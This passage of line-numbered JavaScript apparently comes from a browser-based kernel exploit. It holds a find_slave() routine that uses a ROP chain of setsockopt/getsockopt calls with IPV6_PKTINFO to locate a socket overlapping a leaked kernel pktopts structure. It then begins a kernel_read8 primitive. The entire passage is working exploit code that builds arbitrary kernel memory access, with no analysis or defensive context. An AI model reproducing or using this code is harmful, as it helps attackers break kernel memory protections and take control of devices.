| 574 | } |
| 575 | |
| 576 | function find_slave() { |
| 577 | { |
| 578 | chain.push_write8(pktinfo_buffer, leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)); |
| 579 | chain.push_write8(pktinfo_buffer.add32(0x8), 0); |
| 580 | chain.push_write8(pktinfo_buffer.add32(0x10), 0); |
| 581 | chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); |
| 582 | for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { |
| 583 | chain.fcall(syscalls[118], slave_sockets[i], IPPROTO_IPV6, IPV6_PKTINFO, find_slave_buffer.add32(0x8 * i), pktinfo_buffer_len); |
| 584 | } |
| 585 | } |
| 586 | chain.run(); |
| 587 | |
| 588 | for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { |
| 589 | if (p.read4(find_slave_buffer.add32(0x8 * i)) == (leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)).low) { |
| 590 | slave_socket = slave_sockets[i]; |
| 591 | return; |
| 592 | } |
| 593 | } |
| 594 | alert("[ERROR] failed to find slave REBOOT"); |
| 595 | while (1) {}; |
| 596 | } |
| 597 | |
| 598 | function kernel_read8(address) { |
| 599 | { |